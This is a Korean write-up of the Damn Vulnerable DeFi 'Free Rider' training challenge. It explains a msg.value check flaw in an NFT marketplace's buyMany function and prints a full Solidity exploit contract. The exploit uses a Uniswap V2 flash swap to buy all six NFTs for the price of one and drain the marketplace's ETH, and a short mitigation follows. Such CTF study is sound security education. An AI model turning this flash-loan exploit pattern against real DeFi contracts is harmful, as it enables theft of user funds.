Damn Vulnerable DeFi-Free Rider

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

msg.value 계산을 잘못하여 NFT와 마켓에 예치된 ETH를 탈취할 수 있다.

Keyword

msg.value, uniswap v2, flashswap, flashloan, logic flaw, theft

Vulnerability

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH. The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more. If only you could get free ETH, at least for an instant.

NFT를 판매하는 FreeRiderNFTMarketplace 컨트랙트가 있다. NFT는 각각 15 ETH이다. NFT를 전부 꺼내어 FreeRiderRecovery 컨트랙트에 넣으면 45ETH를 바운티로 준다. 0.1 ETH의 초기 자본을 이용하여 NFT를 빼내와야 한다.

다음은 FreeRiderRecovery 컨트랙트의 핵심코드이다. received 가 6일 때, 즉 6번째로 NFT를 보냈을 때만 리워드를 준다.

    function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
        external
        override
        nonReentrant
        returns (bytes4)
    {   
        // @audit-info 외부에서 임의로 콜백 호출 불가.
        if (msg.sender != address(nft))
            revert CallerNotNFT();
 
        if (tx.origin != beneficiary)
            revert OriginNotBeneficiary();
 
        if (_tokenId > 5)
            revert InvalidTokenID(_tokenId);
 
        if (nft.ownerOf(_tokenId) != address(this))
            revert StillNotOwningToken(_tokenId);
 
        // @audit-info 6번째 NFT를 보내는 이에게만 리워드를 준다. 이전은 상관없음.
        // @note data에 리워드 받을 주소 인코딩해 넣어야 함
        if (++received == 6) {
            address recipient = abi.decode(_data, (address));
            payable(recipient).sendValue(PRIZE);
        }
 
        return IERC721Receiver.onERC721Received.selector;
    }

FreeRiderNFTMarketplace 의 취약점을 살펴보자. NFT를 구매할 시, 단순히 msg.value 를 이용하기 때문에 취약점이 발생한다. buyMany를 호출하여 여러 NFT를 구매하는 경우 msg.value 는 구매할 전체 NFT 만큼이 되어야 한다. 하지만 코드에서는 가장 높은 가격의 NFT 가격만큼의 ETH를 보냈다면 나머지 NFT 구매에 대한 대금까지 구매자가 지불하지 않아도 msg.value 체크를 넘어갈 수 있다.

모든 NFT에 대한 구매 대금을 구매자가 지불하지 않았더라도, 구매 대금은 FreeRiderNFTMarketplace 에 예치된 ETH를 이용해 지불된다. 따라서 공격을 통해 FreeRiderNFTMarketplace에 예치된 토큰을 탈취할 수 있다.

다음은 FreeRiderNFTMarketplace 의 구매 코드이다.

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length;) {
            unchecked {
                _buyOne(tokenIds[i]);
                ++i;
            }
        }
    }
 
    function _buyOne(uint256 tokenId) private {
        // @audit 팔린 후에도 offers[tokenId] 초기화되지 않음 -> 다음 NFT 소유자가 마켓에 올리지 않았더라도 마켓에 approve 해뒀다면 이전 가격으로 판매될 수 있음
        uint256 priceToPay = offers[tokenId];
        if (priceToPay == 0)
            revert TokenNotOffered(tokenId);
        // @audit buyMany 했을 때 msg.value 오류.
        // @audit 구매자가 여러개의 NFT를 구매하더라도 하나의(가장 큰 가격의) NFT 만큼의 토큰만 지불하면 된다. 
        if (msg.value < priceToPay)
            revert InsufficientPayment();
 
        --offersCount;
 
        // transfer from seller to buyer
        DamnValuableNFT _token = token; // cache for gas savings
        // @audit 재진입 가능
        // @audit 컨트랙트로 보낸 후 다시 offerMany, self 재구매할 시?
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
 
        // pay seller using cached 
        // @note 판매 금액 그대로 전달
        // @audit 재진입 가능?
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
 
        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

즉, NFT 하나 구매할 수 있는 예산이 있다면 FreeRiderNFTMarketplace 에 예치된 ETH를 전부 탈취할 수 있다. 하지만 공격자에게는 0.1 ETH의 예산만 주어졌다. 어떻게 15 ETH 짜리 NFT를 구매할 수 있을까? 바로 Uniswap V2의 Flashswap 기능을 이용하면 된다. 문제 배포 스크립트를 보면 Uniswap V2 풀을 생성한다. Flashloan과 유사한 기능으로, ETH를 한 트랜잭션동안 빌릴 수 있다.

다음은 PoC 컨트랙트 코드이다. exploit 함수를 호출하면 Uniswap V2 풀에 Flashswap을 하고, 토큰은 빌리면 호출되는 uniswapV2Call 콜백에서 NFT를 빼내고 리워드를 얻는다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';
import "./FreeRiderNFTMarketplace.sol";
import "../DamnValuableNFT.sol";
 
interface IUniswapV2Pair {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
}
 
interface IWETH {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external returns (uint256);
}
 
contract FreeRiderPoC is IERC721Receiver, IUniswapV2Callee {
    DamnValuableNFT nft;
    IUniswapV2Pair pair;
    IWETH weth;
    FreeRiderNFTMarketplace market;
    address recovery;
    address payable owner;
 
    constructor(DamnValuableNFT _nft, IUniswapV2Pair _pair, IWETH _weth, FreeRiderNFTMarketplace _market, address _recovery) {
        nft = _nft;
        pair = _pair;
        weth = _weth;
        market = _market;
        recovery = _recovery;
        owner = payable(msg.sender);
    }
 
    function exploit() public {
        require(msg.sender == owner, "wrong owner");
 
        // flashswap으로 ETH 확보
        // https://solidity-by-example.org/defi/uniswap-v2-flash-swap/ 참고
        // Need to pass some data to trigger uniswapV2Call
        bytes memory data = abi.encode(address(weth), msg.sender);
 
        // amount0Out is WETH, amount1Out is DVT
        // 15 ETH만큼 빌린다.
        pair.swap(15 ether, 0, address(this), data);
    }
 
    // This function is called by the DVT/WETH pair contract
    function uniswapV2Call(
        address sender,
        uint amount0,
        uint amount1,
        bytes calldata data
    ) external {
 
        require(msg.sender == address(pair), "not pair");
        require(sender == address(this), "not sender");
 
        (address tokenBorrow, address caller) = abi.decode(data, (address, address));
 
        // Your custom code would go here. For example, code to arbitrage.
        require(tokenBorrow == address(weth), "token borrow != WETH");
 
        // WETH -> ETH 전환
        weth.withdraw(amount0);
 
 
        // NFT 구매
        uint256[] memory tokenIds = new uint256[](6);
        for(uint256 i = 0; i < 6; i ++){
            tokenIds[i] = i;
        }
       
        market.buyMany{value: 15 ether}(tokenIds);
 
 
        // recovery에 전달, 리워드 받기
        bytes memory _data = abi.encode(address(this));
        for(uint256 i = 0; i < 6; i ++){
            nft.safeTransferFrom(
                address(this),
                recovery,
                i,
                _data
            );
        }
 
        // flashswap 갚기
        // about 0.3% fee, +1 to round up
        uint256 fee = (amount0 * 3) / 997 + 1;
        uint256 amountToRepay = amount0 + fee;
 
        // Transfer flash swap fee from caller
        // weth.transferFrom(caller, address(this), fee);
        // fee는 리워드로부터 충당됨. ETH -> WETH 전환
        weth.deposit{value: amountToRepay}();
 
        // Repay
        weth.transfer(address(pair), amountToRepay);
 
        // 남은 이더 정산
        owner.transfer(address(this).balance);
    }
 
    function onERC721Received(address, address, uint256, bytes memory) public override returns (bytes4) {   
        return IERC721Receiver.onERC721Received.selector;
    }
 
    receive() external payable {}
}

다음은 PoC를 배포하는 배포 스크립트이다.

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const freeriderPoCFactory = await ethers.getContractFactory('FreeRiderPoC', player);
        const poc = await freeriderPoCFactory.deploy(
            nft.address,
            uniswapPair.address,
            weth.address,
            marketplace.address,
            devsContract.address
        );
        await poc.connect(player).exploit();
    });

Impact

충분히 대금을 지불하지 않고 NFT를 구매(탈취)할 수 있다. 또한 마켓에 예치해둔 ETH 토큰을 탈취할 수 있다.

Mitigation

msg.value가 전체 구매 NFT 가격의 합산만큼이 되는지 확인한다.

Memo

처음에 constructor에서 전부 익스플로잇 하려고 했는데 안되었다. 아마 호출자가 컨트랙트인지 판단하는 address.code.length 가 작동하지 않아서같다.


tags: writeup, blockchain, solidity, smart contract, defi, nft, erc721, uniswap integration, uniswap-v2 integration, flashswap, flashloan, logic flaw, crypto theft